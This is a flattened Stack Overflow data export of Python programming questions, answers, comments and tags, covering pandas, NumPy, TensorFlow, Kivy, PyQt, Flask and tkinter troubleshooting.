has text: @Thib. I have now tested it on Windows, and it all works fine for me there, as well. I don't know what you are doing wrong. The steps I took were (1) create a new folder at `C:\QtPlugins` (2) set an envar named `PYQTDESIGNERPATH` with the value `C:\QtPlugins` (3) copy the two files in my answer into `C:\QtPlugins` (using the file-names exactly as shown) (4) restart Qt Designer. If you look in Help -> About Plugins it will be listed as `pyqt5.dll/MatplotlibWidget`. Obviously, you must also make sure you have installed matplotlib and pyqt5 as well.
type: Comment

http://stackoverflow.com/a/47227955
type: Answer
answers question: http://stackoverflow.com/q/47227705
accepted answer of: http://stackoverflow.com/q/47227705
score: 2
type: AcceptedAnswer
has body: The logging to the file should work fine with ERROR or CRITICAL messages. Maybe you need to set another level : [handler_error_file] class=logging.FileHandler level=DEBUG formatter=default
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81649119
type: AnswerComment
comment on: http://stackoverflow.com/a/47346817
has text: is this problem due to null
type: Comment
score: 0

http://stackoverflow.com/comment/81671347
has text: I have installed scrapy in Python 3.6 and it seems to be working fine as it required Microsoft Visual C++ 14.0 which is available in my system. But the above problem still remains a mystery. Hope somebody can help.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47338597

http://stackoverflow.com/comment/92527188
type: Comment
type: QuestionComment
has text: did you solve it?
score: 0
comment on: http://stackoverflow.com/q/47360704

http://stackoverflow.com/comment/81611854
type: QuestionComment
has text: the title says string to dict
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47330475

http://stackoverflow.com/a/47368377
has body: You can do something like this with a simple for loop. master = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] exclude = [1, 4, 5] for o in exclude: try: master.remove(o) except ValueError: pass print(master) # [2, 3, 6, 7, 8, 9, 10]
has comment: http://stackoverflow.com/comment/81690003
downvote count: 0
answers question: http://stackoverflow.com/q/47368326
type: Answer
has comment: http://stackoverflow.com/comment/81689284
upvote count: 1
score: 1

http://stackoverflow.com/comment/81442585
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47244630
has text: I uninstalled it now, and when I tried to install it again it says something like "can't find the version......." I'll try to download it again
score: 0

http://stackoverflow.com/comment/81685014
type: Comment
comment on: http://stackoverflow.com/q/47364877
type: QuestionComment
has text: If none of the input parameters linked in last comment automatically start the simulation ( == press the button for you) you need someone able to help you automating this button press. If you need to modify the EL files before starting it you can do that with python, Clarify what you need in your question and adapt the title ("Python started app, window pops up, need to automate button click in this window") after searching SO and google for similar questions and try the solutions presented there. If you need to modify the input files with pythong, SO provides lots of answers on how to
score: 0

http://stackoverflow.com/a/47347872
downvote count: 0
has body: Have you tried you use subprocess.call instead? For example, import subprocess subprocess.call("docker rmi $(docker ps -a -q)", shell=True) it works for rmi command.
score: 5
upvote count: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/47347746
answers question: http://stackoverflow.com/q/47347746
type: AcceptedAnswer

http://stackoverflow.com/a/47397988
score: 1
upvote count: 1
type: AcceptedAnswer
has body: The reason for the error message is because the application cannot find the extension. Try adding graphics_utils.effects to the packages list then try recompiling. If that does not work you could also try coping the module in the build folder manually.
accepted answer of: http://stackoverflow.com/q/47327943
type: Answer
has comment: http://stackoverflow.com/comment/81785367
has comment: http://stackoverflow.com/comment/81786011
answers question: http://stackoverflow.com/q/47327943
downvote count: 0

http://stackoverflow.com/comment/81531898
type: Comment
comment on: http://stackoverflow.com/q/47290621
type: QuestionComment
has text: Tuples are immutable, so your first approach shouldn't work. The second one should.
score: 0

http://stackoverflow.com/q/47263294
score: 4
has comment: http://stackoverflow.com/comment/81483478
tagged with: grpc
tagged with: kubernetes
tagged with: python
upvote count: 4
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: python-2.7
downvote count: 0
type: UnansweredQuestion
has body: We are building a grpc service in python which has a bidirectional streaming endpoint and also a unary endpoint. we want the stream to live forever so we have no timeouts and streams are working as expected, we are using kubernates and docker for deployment. But we are facing issues with scaling the service, how to scale an infinite streaming grpc server, we can't scale based on a number of requests but there is only one request made and data is sent as frames. how can we scale this service? right now in worker thread pool has max threads as 100. one quick solution is to give max worker threads a higher number and scale based on CPU load and memory usage. is there any better way to do it.
answer count: 1
has title: Grpc server scaling (bidirectional infinite streaming)
has answer: http://stackoverflow.com/a/47318936

http://stackoverflow.com/a/47244053
score: 6
has comment: http://stackoverflow.com/comment/81438707
has comment: http://stackoverflow.com/comment/81452339
has comment: http://stackoverflow.com/comment/81438573
has comment: http://stackoverflow.com/comment/81447764
type: Answer
has comment: http://stackoverflow.com/comment/81438648
answers question: http://stackoverflow.com/q/47243979
has body: Add a trailing slash to the action attribute inside the form as suggested in the message: &lt;form method="POST" action="/login/"&gt; Preferably, use url_for to build URLs: &lt;form method="POST" action="{{ url_for('login') }}"&gt; Since you're rendering the form with the same view that handles the post, you can omit the action. &lt;form method="POST"&gt;
downvote count: 0
upvote count: 6

pika
tags question: http://stackoverflow.com/q/47327099
tags question: http://stackoverflow.com/q/47337087
tags question: http://stackoverflow.com/q/47315224
tag name: pika
type: Tag

http://stackoverflow.com/comment/81667441
comment on: http://stackoverflow.com/a/47357122
type: Comment
score: 0
type: AnswerComment
has text: Yes, I just edited my previous comment to note that :) With more than 3 dice we would need additional conditions to know what to add and subtract.

http://stackoverflow.com/a/47227733
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81405857
type: Answer
has comment: http://stackoverflow.com/comment/81405969
has comment: http://stackoverflow.com/comment/81406002
upvote count: 2
has body: The issue is with ?= on the second line. The ? can mean multiple things like [ ]? which is 0 or 1 spaces which I believe is the case for the whitespace preceding it. Whitespace is ignored but it is making the two chars ( and ? into separated entities. Move the ?= to the 1st line and it will work. Like (?= The error error: nothing to repeat at position 83 Makes it pretty clear that ? is here being interpreted as repetition
has comment: http://stackoverflow.com/comment/81405730
has comment: http://stackoverflow.com/comment/81405877
answers question: http://stackoverflow.com/q/47227654
has comment: http://stackoverflow.com/comment/81405768
has comment: http://stackoverflow.com/comment/81405833

http://stackoverflow.com/a/47300261
answers question: http://stackoverflow.com/q/47300215
downvote count: 0
score: 8
has body: First identify the columns in df2 not in df1 cols = df2.columns.difference(df1.columns) Then pd.DataFrame.join df1.join(df2[cols]) a b c 0 0 1 11 1 2 3 13 2 4 5 15 3 6 7 17 4 8 9 19 Or pd.concat will also work pd.concat([df1, df2[cols]], axis=1) a b c 0 0 1 11 1 2 3 13 2 4 5 15 3 6 7 17 4 8 9 19
upvote count: 8
type: Answer

http://stackoverflow.com/comment/81439535
type: AnswerComment
score: 11
comment on: http://stackoverflow.com/a/47241066
has text: thank you. I know vanishing gradient is a thing for but I never thought that just switching from `random.randn` to `random.rand` can render the network totally useless right from the beginning.
type: Comment

http://stackoverflow.com/q/47268423
has title: Are parameters to range() re-evaluated at each iteration of the loop?
has comment: http://stackoverflow.com/comment/81487674
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47268503
score: 0
answer count: 3
has body: If I use functions for range parameters, do they get called every time through? for i in range(min(some_list), max(other_list)): ...
has comment: http://stackoverflow.com/comment/81487563
accepted answer: http://stackoverflow.com/a/47268504
possible better answer: http://stackoverflow.com/a/47268503
tagged with: performance
type: Question
has answer: http://stackoverflow.com/a/47268504
tagged with: range
tagged with: python
has answer: http://stackoverflow.com/a/47268519

http://stackoverflow.com/q/47381344
type: Question
has body: I have successfully installed Kivy 1.9.1's wheel, using PIP, onto Python 3.4.3......however, when I am trying to run a sample program, the program is throwing errors. I am running this program/using Kivy to try and learn from a Udemy course. The program should just pop a button on the screen and let you click it, showing you everything was installed. I believe I've installed it correctly but I'm wondering if I have missed maybe installing an extra package to support it, etc? Any help is great appreciated. Here's the sample code just to see if it runs, and the error below: from kivy.app import App from kivy.base import runTouchApp from kivy.lang import Builder runTouchApp(Builder.load_string(''' BoxLayout: Button: b1 ''')) [INFO ] [Logger ] Record log in C:\Users\Codie\.kivy\logs\kivy_17-11-19_23.txt [INFO ] [Kivy ] v1.9.1 [INFO ] [Python ] v3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:44:40) [MSC v.1600 64 bit (AMD64)] [INFO ] [Factory ] 179 symbols loaded Traceback (most recent call last): File "C:\Users\Codie\Desktop\PythonKIVY-3.4pyFiles\Kivytesting.py", line 1, in &lt;module&gt; from kivy.app import App File "C:\Python34\lib\site-packages\kivy\app.py", line 327, in &lt;module&gt; from kivy.uix.widget import Widget File "C:\Python34\lib\site-packages\kivy\uix\widget.py", line 219, in &lt;module&gt; from kivy.graphics import ( File "C:\Python34\lib\site-packages\kivy\graphics\__init__.py", line 89, in &lt;module&gt; from kivy.graphics.instructions import Callback, Canvas, CanvasBase, \ ImportError: DLL load failed: The specified module could not be found.
tagged with: python
tagged with: kivy
tagged with: installation
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47382118
answer count: 1
has answer: http://stackoverflow.com/a/47382118
has title: Python KIVY - Installed 1.9.1 but can't seem to work?

http://stackoverflow.com/a/47254493
has body: The PRAGMA journal_mode documentation says: If the journal mode could not be changed, the original journal mode is returned. […] Note also that the journal_mode cannot be changed while a transaction is active. So you have to ensure that the database library does not try to be clever and automatically starts a transaction.
has comment: http://stackoverflow.com/comment/81459424
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47250220
upvote count: 0
downvote count: 1

http://stackoverflow.com/comment/81452052
has text: Possible duplicate of [Integrate Python And C++](https://stackoverflow.com/questions/1153577/integrate-python-and-c)
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47250797

http://stackoverflow.com/a/47400567
has comment: http://stackoverflow.com/comment/116906305
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47357765
has body: Hi @ChristophFrings I'm really excited to show you what I've done. As promised I studied your code and in the process of testing and debugging, I observed that it was very much important to sort the workers in the team according to the length of the list of slots(i.e. Worker.slots, I however use getters so Worker.get_slots()). The reason sorting is very important is that like in the case of Erika with many possible slots, once she is assigned to a slot she would not be able to fill a critical slot down the line. So filling those with fewer options is better first off and then those more flexible can fill in the remaining slots. It may just be my system (2GB RAM, intel duo core), but running your initially code without the sort felt like an infinite loop especially when I put in print statements to better understand your work. Also I observed that the False condition (i.e. when a schedule absolutely cannot be attained) went into an infinite loop in your initial code. Maybe it worked on your system but I tried it after your last post and 30mins to an hour the code was still running, so I tried to tweak it to ensure that when the False condition is met the code ends. I did this by adding one more base condition and a break condition. I can't thank you enough because I think I have learnt so much from your code. The concept of the code below is inspired by your work in many ways. The main differences are adding to the base case, adopting a sort function I recently learnt for an online course on edx, and lastly employing the use of a dictionary showing all workers suitable for a given slot. This meant that the code did not have to mechanically follow everyone in the order of the list and then fill each person to the maximum shifts before moving to the next worker. This I also observed in your initial code and I felt it was more important to follow down the list of slots than down the workers. Well Here is the modified code. class Worker(object): def __init__ (self, name,…

http://stackoverflow.com/q/47265894
has comment: http://stackoverflow.com/comment/81485045
has comment: http://stackoverflow.com/comment/81483186
upvote count: 1
has comment: http://stackoverflow.com/comment/81482514
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
score: -2
tagged with: nested-loops
has body: My assingment At each level the complete triangle for the previous level is placed into an extra outer triangle. The user should be asked to input the two characters to be used and the width of the innermost triangle, which must be odd. In addition to the test for negative input the function should test whether the supplied number is odd and display an appropriate message if it is not. I need to print 3 triangles but every one of them includes other. It needs to get printed with two different character(like *-) and the user have to specify the length of innermost triangle and which has to be an odd number. Example, Example output for 5 value Ok, let me explain my way, Every triangle should be in dictionary. tri1 = {1:"*****", 2:"***", 3:"*"} tri2 = {1:"..........", ...} And couldn't find how I can deal with user input? If enter 5, length - 5 unit, height 3 unit length - 11 unit, height 6 unit length - 23 unit, height 12 unit. How can i know? What is the logic? Ok lets say if I did. I understand I should put a tringle in another triangle with nested loop, can simply iterate it another dictionary but, I need to check second character's position. Thanks in advance. My code, ch1, ch2 = input("Please enter the characters you want to use: ") num = int(input("Please specify the length of innermost triangle(only odd number): ")) if (num % 2 == 0) or (num &lt; 3): print("Number can not be even, less then 3 and negative") num2 = (2 * num) + 1 num3 = (2 * num2) +1 tri1 = {} tri2 = {} tri3 = {} for i in range(3): tri1[i] = ch1*num num -= 2 check = 1 cont = 0 var = 1 for ii in range(6): tri2[ii] = ch2*check check += 2 if (ii &gt;= 3): tri2[ii] = ch2*var + tri1[cont] + ch2*var cont += 1 var += 2 for i in tri1: print('{:^5}'.format(tri1[i])) for i in tri2: print('{:^11}'.format(tri2[i]))
tagged with: python
has title: Nested Triangle in Python
answer count: 1
downvote count: 3
has answer: http://stackoverflow.com/a/47268771

http://stackoverflow.com/a/47343600
accepted answer of: http://stackoverflow.com/q/47343170
downvote count: 0
answers question: http://stackoverflow.com/q/47343170
score: 1
has body: color accepts multiple types of inputs, such as a tuple of RGB values. However, the best method to create a rainbow would be with HSV. Fortunately, matplotlib.colors has a hsv_to_rgb function: import matplotlib.colors as colors color = .5 #Value between 0 and 1, 0 and 1 being red print(colors.hsv_to_rgb((color, 1, 1)) #[ 0. 1. 1.] Now, we just want to shift through all values as we iterate from 0 to n-1: for i in range (n): color=colors.hsv_to_rgb((i/n, 1, 1)) x_n1=r_1*x*(1 -x) plt.plot([x, x], [x, x_n1], color=color) plt.plot([x, x_n1], [x_n1, x_n1], color=color) x=x_n1 plt.show() You'll notice that almost all of lines are reddish. This is due to most of the prevalent lines being the first 50, which are all very close to red. You can adapt this as you see fit; one such option would be to have color=colors.hsv_to_rgb(((i/n)**(1/2), 1, 1)).
type: Answer
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/47303876
score: 0
has comment: http://stackoverflow.com/comment/81558836
answer count: 3
has answer: http://stackoverflow.com/a/47303958
has title: Saving dictionary key values to a variable
has comment: http://stackoverflow.com/comment/81558662
has comment: http://stackoverflow.com/comment/81558472
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47304058
has comment: http://stackoverflow.com/comment/81559326
tagged with: python
tagged with: dictionary
has body: I am passing keyword as the parameter to function and want to save the value of that keyword to a variable. The is in the form of a dictionary: This is the code so far: def foo(**var2): print (var2) foo(source_id=3, limit = 200) foo(research_id = 1) I want to save values of source_id, limit and research_id to a variable.
accepted answer: http://stackoverflow.com/a/47304212
possible better answer: http://stackoverflow.com/a/47303958
has answer: http://stackoverflow.com/a/47304212
type: AnsweredQuestion

http://stackoverflow.com/q/47320501
upvote count: 1
type: UnansweredQuestion
has body: I manually uploaded a deployment package to a s3 bucket of the same region, and used a cloudformation stack to create a lambda function with the bucket specifictation in the resource properties below: "Code": { "S3Bucket": "s3sourcebucket-yy", "S3Key": "double-rek/imageProcessor.zip" }, The lambda function is created successfully, however i cant edit the function using the console, and instead see note saying "lambda function cannot be edited inline since the file name specified in the handler does not match a file name in your deployment package." is there a way to allow the console to edit the python file within the zip package?
tagged with: aws-lambda
favorite count: 0
type: Question
tagged with: python-2.7
score: 1
tagged with: aws-cloudformation
tagged with: python
has title: Edit lambda function inline after creation from cloudformation using deployment package (.zip) in s3 bucket
tagged with: s3-bucket
downvote count: 0
answer count: 0

http://stackoverflow.com/a/47298879
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47298825
score: 4
has body: These are stored in the __annotations__ property of the function, you can access them by this: def needs_parameter_type(decorated): def decorator(*args): print(decorated.__annotations__) decorated(*args) return decorator @needs_parameter_type def foo(bar: int): pass foo(1) # {"bar": &lt;class "int"&gt;}
accepted answer of: http://stackoverflow.com/q/47298825
type: Answer
upvote count: 4

http://stackoverflow.com/tag/pdf
tags question: http://stackoverflow.com/q/47254438
tags question: http://stackoverflow.com/q/47321743
tags question: http://stackoverflow.com/q/47346635
tags question: http://stackoverflow.com/q/47328475
tags question: http://stackoverflow.com/q/47305660
tags question: http://stackoverflow.com/q/47272644
tags question: http://stackoverflow.com/q/47258520
tags question: http://stackoverflow.com/q/47357172
tags question: http://stackoverflow.com/q/47254417
type: Tag
tag name: pdf
tags question: http://stackoverflow.com/q/47308541
tags question: http://stackoverflow.com/q/47378429
tags question: http://stackoverflow.com/q/47358588

http://stackoverflow.com/comment/81693738
type: QuestionComment
score: 0
has text: if you use `group.draw()` then it uses `self.image` and `self.rect` to blit it and you don't have to do it manually.
type: Comment
comment on: http://stackoverflow.com/q/47369004

http://stackoverflow.com/q/47295748
has comment: http://stackoverflow.com/comment/81542849
has title: Understanding Numpy datatypes
has answer: http://stackoverflow.com/a/47300039
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: numpy
has body: While reading PyCUDA documentation, I found out i did not understand how this code works numpy.getbuffer(numpy.intp(int(self.data))) in theory it should return a pointer to float, while it receives self.data which is a pointer to an array of floats. I am sure the question is simple, but after looking at more information about numpy.intp in books i did not find anything that was of help.
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/96341655
type: AnswerComment
has text: This is just a simple demo, and you can of course generate class_pro on fly. You would need a external dict with class_id -> class_pro mapping.
score: 0
comment on: http://stackoverflow.com/a/47236466
type: Comment

http://stackoverflow.com/a/47367151
upvote count: 2
downvote count: 0
has body: By creating a function called login and then creating a variable with the same name, you cause conflict in your code. Try renaming it to submit or something else. You specified the command of the button to be login() but python doesn't remember the login function, it only remembers the window variable you created, which is a Tk object, and that isn't callable. So what you should do is change the name of the login() function to submit(). Also remember to change: knopf=tkinter.Button(frame1,text="Login",bg="red",command=login()) to: knopf=tkinter.Button(frame1,text="Login",bg="red",command=submit) and remove the brackets in as @PM 2Ring suggested EDIT: let's give some credit to @Rawing for spotting it too. Sorry. I didn't see the comment
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47367075

feature-detection
type: Tag
tag name: feature-detection
tags question: http://stackoverflow.com/q/47234364

http://stackoverflow.com/a/47401943
answers question: http://stackoverflow.com/q/47237388
has body: I used to have the same problem. But a new model has been upload it recently 'ssd_mobilenet_v1_coco_2017_11_17' I tried it and works like charm :)
type: Answer
score: 0

http://stackoverflow.com/q/47323449
tagged with: plistlib
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/81597609
answer count: 0
has title: IOError: [Errno 60] Operation timed out plistlib.readPlist
has body: Sometimes I receive an IOError when trying to read a plist file on a network share. The file exists and is never absent from the location in question. tests_info = plistlib.readPlist(network_repo_path + PLIST_PATH) File "/System/Library/Frameworks/Python.framework/.../python2.7/plistlib.py", line 75, in readPlist pathOrFile = open(pathOrFile) IOError: [Errno 60] Operation timed out: '/...&lt;nfs share&gt;/Tests.plist'
type: Question
has comment: http://stackoverflow.com/comment/81597776
type: UnansweredQuestion
tagged with: plist
has comment: http://stackoverflow.com/comment/81597833
has comment: http://stackoverflow.com/comment/81597882

http://stackoverflow.com/comment/81734150
has text: Maybe all you wanted was `split1,split2 = df.timestamp[1].split(' ')`, what I have provided is a pandas answer
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47376691
type: AnswerComment

http://stackoverflow.com/comment/81683425
type: Comment
type: QuestionComment
has text: thank you for your answers. @Maxim, can you please further explain how to use the loss chart to determain the right number f training epochs?
comment on: http://stackoverflow.com/q/47364978
score: 0

http://stackoverflow.com/comment/81420190
score: 0
type: Comment
type: QuestionComment
has text: does the saved video format "0x03C7B8F0" play ?
comment on: http://stackoverflow.com/q/47234576

http://stackoverflow.com/comment/81498291
type: Comment
has text: @ItayLivni I haven't seen that documentation, thank you for bringing it to my attention. I've been trying to pick up python/pandas through tutorials so this looks much more helpful as a reference.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47270771

http://stackoverflow.com/q/47297983
tagged with: tensorflow
type: Question
tagged with: numpy
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47302112
tagged with: arrays
has title: passing numpy array to tensorflow queue
tagged with: python
score: 0
has body: I have a tensorflow model which works fine, I was using feed_dict but I'm trying to change that to a queuing operations to increase the performance. old code p_boxes = self.graph.get_tensor_by_name("con:0") p_confs = self.graph.get_tensor_by_name("sha:0") x = self.graph.get_tensor_by_name("x_in:0") feed_dict_testing = {x: x_batch} np_pred_confs, np_pred_boxes = sess.run([pred_confs, pred_boxes], feed_dict=feed_dict_testing) Above is my old code where I pass a numpy array object of shape - (1024,1024,3) and the predictions worked fine. With the new code Im trying to simulate a simple code passing a numpy array of the same size but I get this following error. ValueError: Fetch argument &lt;tf.Tensor 'sha:0' shape=(1024, 1, 2) dtype=float32&gt; cannot be interpreted as a Tensor. (Tensor Tensor("sha_4:0", shape=(1024, 1, 2), dtype=float32) is not an element of this graph.) New code:- a = np.zeros((1024, 1024, 3)) dtypes=[tf.float32] print len(dtypes) shapes=[1024, 1024, 3] print len(shapes) q = tf.FIFOQueue(capacity=200,dtypes=dtypes,shapes=shapes) enqueue_op = q.enqueue(a) qr = tf.train.QueueRunner(q, [enqueue_op] * 1) tf.train.add_queue_runner(qr) data = q.dequeue() p_boxes = graph.get_tensor_by_name("con:0") p_confs = graph.get_tensor_by_name("sha:0") x = graph.get_tensor_by_name("x_in:0") with tf.Session() as sess: coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) confs, boxes = sess.run([p_confs, p_boxes]) print boxes, confs
answer count: 1

ms-word
tag name: ms-word
type: Tag
tags question: http://stackoverflow.com/q/47367366
tags question: http://stackoverflow.com/q/47295900

http://stackoverflow.com/q/47224567
has body: Related to this question I recently posted &amp; resolved. If the 3rd column of a matrix is to be changed to be the running total of the sums, how would I adjust my code to do so? This is where I'm at so far: def dice(n): rolls = np.empty(shape=(n, 3),dtype=int) for i in range(n): x = random.randint(1,6) y = random.randint(1,6) if x in [1,3,5] or y in [1,3,5]: sum_2_dice = x + y z = np.cumsum(sum_2_dice) rolls[i,:] = x, y, z else: sum_2_dice = -(x+y) # meaning you "lose the sum" basically z = np.cumsum(sum_2_dice) rolls[i,:] = x, y, z return rolls ` So for example: dice(2) returns array[[2, 6, -8], [1, 3, 4], [5, 2, 7]) when it should really be returning: array[[2, 6, -8], [1, 3, -4], [5, 2, 3]) I thought np.cumsum would be doing something, but I'm not sure. Is a while loop needed to do this (I'm not sure of where it'd be applied)? I've tried various adjustments like instead of having z = np.cumsum(sum_2_dice) I did sum_2_dice += sum_2_dice (consequently the code that followed it was rolls[i,:] = x, y, sum_2_dice but that was terribly wrong since all that ended up doing was doubling the sum values in every column, not doing any sort of running total calculations.
tagged with: python
linked to: http://stackoverflow.com/q/47221759
type: Question
tagged with: numpy
tagged with: python-2.7
score: 0
has answer: http://stackoverflow.com/a/47225733
has title: Creating a Running Total column in a matrix?
accepted answer: http://stackoverflow.com/a/47225733
answer count: 1
has comment: http://stackoverflow.com/comment/81401256
has comment: http://stackoverflow.com/comment/81401048
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81400697

http://stackoverflow.com/comment/81608031
has text: Then [edit] your question with a [mcve]. I just tried it with the example given here and it works just fine.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47328470
type: Comment

http://stackoverflow.com/q/47313656
has comment: http://stackoverflow.com/comment/82012862
has answer: http://stackoverflow.com/a/47521833
has body: I'm currently having text inputs represented by vector, and I want to classify their categories. Because they are multi-level categories, I meant to use Hierarchical Softmax. Example: - Computer Science - Machine Learning - NLP - Economics - Maths - Algebra - Geometry I don't know how to implement it in Tensorflow. All examples I've met is using other frameworks. Thanks
has answer: http://stackoverflow.com/a/47844746
tagged with: python
has comment: http://stackoverflow.com/comment/82012813
upvote count: 16
has comment: http://stackoverflow.com/comment/81989372
possible better answer: http://stackoverflow.com/a/47521833
type: AnsweredQuestion
answer count: 2
tagged with: pytorch
has title: Tensorflow: Hierarchical Softmax Implementation
tagged with: hierarchical
downvote count: 0
score: 16
tagged with: softmax
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47844746

http://stackoverflow.com/q/47310270
favorite count: 0
has comment: http://stackoverflow.com/comment/81575442
has comment: http://stackoverflow.com/comment/81575405
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/81574314
has comment: http://stackoverflow.com/comment/81575571
has title: Sparse Scipy/Numpy: an efficient way to implement sum of pairwise mins operation
has comment: http://stackoverflow.com/comment/81575378
accepted answer: http://stackoverflow.com/a/47312160
linked to: http://stackoverflow.com/q/47309112
tagged with: numpy
has answer: http://stackoverflow.com/a/47312160
has comment: http://stackoverflow.com/comment/81574574
has body: Computing the sum of pairwise mins between vectors is very popular in natural language processing (NLP) and is used in computing the intersecting histogram kernel [1]. However, in NLP we frequently deal with sparse matrices. Here is an inefficient way that uses the slow for loops to compute this operation: import numpy as np from scipy.sparse import csr_matrix # Initialize sparse matrices A = csr_matrix(np.clip(np.random.randn(100, 64) - 1, 0, np.inf)) B = csr_matrix(np.clip(np.random.randn(64, 100) - 1, 0, np.inf)) # For each row, col vector i,j in A and B respectively G = np.zeros((100, 100)) for i in range(A.shape[0]): for j in range(B.shape[1]): G[i, j] = A[i].minimum(B[:,j]).sum() Is there a way to do this without the for loop ? I wouldn't mind a for loop if it can be compiled such as with using jit in numba. A fast dense version of this is given here: Numpy: an efficient way to implement sum of pairwise mins operation Thanks. [1] http://blog.datadive.net/histogram-intersection-for-change-detection/
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/60433406
answer count: 2
has comment: http://stackoverflow.com/comment/81575672
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/60433406
has comment: http://stackoverflow.com/comment/81577717
tagged with: scipy
tagged with: sparse-matrix
has comment: http://stackoverflow.com/comment/81575495

http://stackoverflow.com/comment/81632780
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47340206
score: 0
has text: I appreciate the cleaner version. Patrick has also provided similar a similar fix. If you wouldn't mind though, could you aid in helping fix my code in the structure that I was going for? As stated in another comment, I write these down on paper first and logically work it out and this seemed to work out mathematically but didn't translate well into the python language. If you can't come up with a fix to my code in the structure that is ok, now I'm just curious. Best, Santos

http://stackoverflow.com/a/47365618
score: 17
upvote count: 17
has comment: http://stackoverflow.com/comment/95028858
has comment: http://stackoverflow.com/comment/90132465
has comment: http://stackoverflow.com/comment/122363248
has comment: http://stackoverflow.com/comment/90132945
accepted answer of: http://stackoverflow.com/q/47365575
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/47365575
has body: I think you need downsample by Resampler.agg by dictionary with keys for column names and values for functions: day_df = (hr_df.resample('D') .agg({'Open': 'first', 'High': 'max', 'Low': 'min', 'Close': 'last'})) print (day_df) Open High Close Low 2017-09-04 0.715035 0.715050 0.71504 0.714035 2017-09-05 0.715035 0.717045 0.71504 0.713225 2017-09-06 0.715035 0.714045 0.71504 0.713355
downvote count: 0
has comment: http://stackoverflow.com/comment/90132581

http://stackoverflow.com/q/47274545
type: Question
has body: I kinda shot my leg: By accident, collected so much output in jupyter cell, that it crashed. When i tried to restart it - found out that browser just can't load it. No errors - just can not load( doesn't show cells, can't start the kernel ) So, how can i access the code? :D
tagged with: python
accepted answer: http://stackoverflow.com/a/47274645
type: AnsweredQuestion
has title: Jupyter notebook can not been started because of output cells
score: 1
upvote count: 1
downvote count: 0
answer count: 1
tagged with: jupyter
has answer: http://stackoverflow.com/a/47274645
tagged with: jupyter-notebook
favorite count: 0

http://stackoverflow.com/a/47350583
downvote count: 0
answers question: http://stackoverflow.com/q/47350549
score: 2
accepted answer of: http://stackoverflow.com/q/47350549
type: Answer
has body: Use merge with right join: df = pd.merge(df_customers, df_purchases, left_on='id', right_on='customer_id', how='right') print (df) purchase_id customer_id item price 0 1 1 About the ugly German language 3.14 1 2 1 Food 15.92 2 3 1 Book 65.35 3 4 2 Stone 89.79 id name birthday purchase_id customer_id \ 0 1 Martin 28.04.1990 1 1 1 1 Martin 28.04.1990 2 1 2 1 Martin 28.04.1990 3 1 3 2 Twain 30.11.1835 4 2 item price 0 About the ugly German language 3.14 1 Food 15.92 2 Book 65.35 3 Stone 89.79
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/a/47374045
answers question: http://stackoverflow.com/q/47373952
score: 0
type: Answer
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47373952
has body: The problem's in line 12. You got the user's input in line 10, and set it to the variable snow. When it gets to line 12, it prompts you again because you call input(prompt) again. Rather, your code should be like if snow == "No":, then it will use your response without prompting you again.

http://stackoverflow.com/q/47267078
score: 3
tagged with: qgraphicsview
tagged with: subclass
tagged with: pyside
tagged with: python
accepted answer: http://stackoverflow.com/a/47271519
has answer: http://stackoverflow.com/a/47271519
type: AnsweredQuestion
upvote count: 3
downvote count: 0
answer count: 1
has title: PySide: event-filter for QGraphicsView in container class
favorite count: 0
type: Question
has body: I have communications working between similar widgets from imported child widgets and the parent main window and widgets. However, I am stumped when it comes to a QGraphicsScene widget imported as a module and sub-widget. I have put some simplified files below. So, QGraphicsView (from the QGraphicsScene) will be the actual widget I need to emit and signal events to other QWidgets inside the main window. If I have all classes in one file, it works but if I have the classes as separate modules, I get "does not have attribute" errors, specifically in the simple version here for QGraphicsScene .viewport Attribute Error "self.graphicsView.viewport().installEventFilter(self)" I guess that the composite graphics widget is actually now a QWidget and I am not initialising the imported module functions/attributes for the QGraphicsView element. Thing is, I want it to exist that way so I can separate the GUI elements and functions of different modules. The others I have used so far have been straightforward QWidget to QWidget signals derived from QObjects, so work fine, but I haven't been able to achieve the same with the imported QGraphicsScene to QWidgets since it errors when it tries to reach QGraphicsView within the main window. Again, all fine if all classes exist in one large file. Any kind person can point out my error here? How can I separate the module scripts to behave the same way as the single script? Working single script: # QWidgetAll.py from PySide import QtGui, QtCore class GraphicsView(QtGui.QWidget): def __init__(self): QtGui.QWidget.__init__(self) self.graphicsView = QtGui.QGraphicsView(self) self.graphicsLabel = QtGui.QLabel("Graphics View within QWidget") self.graphicsView.setMouseTracking(True) self.graphicsView.viewport().installEventFilter(self) 